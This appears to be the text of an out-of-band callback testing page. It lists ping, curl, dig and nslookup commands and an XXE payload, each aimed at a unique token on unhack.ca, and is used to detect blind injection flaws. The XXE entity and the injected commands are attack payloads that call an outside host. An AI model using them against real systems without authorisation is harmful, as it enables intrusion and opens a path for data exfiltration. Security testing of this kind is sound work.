$ ping -c1 -p 000c68267fb91ae09df5d8bba9659300 unhack.ca
 
$ curl http://unhack.ca/p/0c68267fb91ae09df5d8bba96593
 
$ dig 0c68267fb91ae09df5d8bba96593 @unhack.ca
 
$ dig 0c68267fb91ae09df5d8bba96593.ns.unhack.ca
 
C:\> nslookup 0c68267fb91ae09df5d8bba96593 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0c68267fb91ae09df5d8bba96593">]>
    <foo>&xxe;</foo>
Waiting for ping...